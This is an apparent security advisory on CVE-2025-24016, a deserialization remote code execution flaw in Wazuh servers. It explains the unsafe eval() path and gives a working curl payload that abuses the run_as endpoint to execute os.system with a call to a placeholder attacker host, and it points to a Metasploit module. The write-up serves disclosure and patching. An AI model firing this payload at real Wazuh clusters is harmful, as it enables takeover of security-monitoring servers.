CVE-2025-24016
描述: Wazuh is a free and open source platform used for threat prevention, detection, and response. Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability allows for remote code execution on Wazuh servers. DistributedAPI parameters are a serialized as JSON and deserialized using as_wazuh_object
(in framework/wazuh/core/cluster/common.py
). If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can forge an unhandled exception (__unhandled_exc__
) to evaluate arbitrary python code. The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or, in certain configurations, even by a compromised agent. Version 4.9.1 contains a fix.
An unsafe deserialization vulnerability allows for remote code execution on Wazuh servers.
The vulnerability can be triggered by anybody with API access to a compromised dashboard or Wazuh servers in the cluster.
This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function.
The vulnerable code sits in the file /var/ossec/framework/wazuh/core/cluster/common.py
at the function as_wazuh_object
.
Line 1822 handles the __unhandled_exec__
from a DAPI request and calls the unsafe eval()
function which allows for remote code execution.
1 |
|
The vulnerability can be triggered by a distributed API request that allows to specify a __unhandled_exc__
request in the body of the DAPI response.
A DAPI request that does not check the request body is /security/user/authenticate/run_as
implemented by run_as_login
in var/ossec/api/api/controllers/security_controller.py
where the auth_context
argument is completely controlled by the attacker. By sending a malicious run_as
request to a worker server, it is possible to execute code on the master server.
Below is an example which triggers the vulnerability using a curl
based payload. You need to know the API credentials to execute this DAPI request.curl -X POST -k -u "wazuh-wui:MyS3cr37P450r.*-" -H "Content-Type: application/json" --data '{"__unhandled_exc__":{"__class__": "os.system", "__args__": ["curl http://<attacker_ip>"]}}' https://<worker-server>:55000/security/user/authenticate/run_as
1 |
|
1 |
|
I have submitted a Metasploit module - PR 20387 that will do all the hard work for you.
It is important to understand that the worker-server port (55000) should be exposed to the outside world in order to trigger this vulnerability.
Using it directly on the master-server port (55000) will not work because the DAPI request is not leveraged in this case, hence the vulnerable code will not be triggered.
Mitigation
The vulnerability exists in version 4.4.0
and all versions prior to version 4.9.1
.
Please upgrade your Wazuh server to version 4.9.1
or higher.
References
CVE-2025-24016
Wazuh security advisory - GHSA-hcrc-79hj-m3qh
Metasploit - Wazuh Server authenticated RCE
Credits
DanielFi Discovery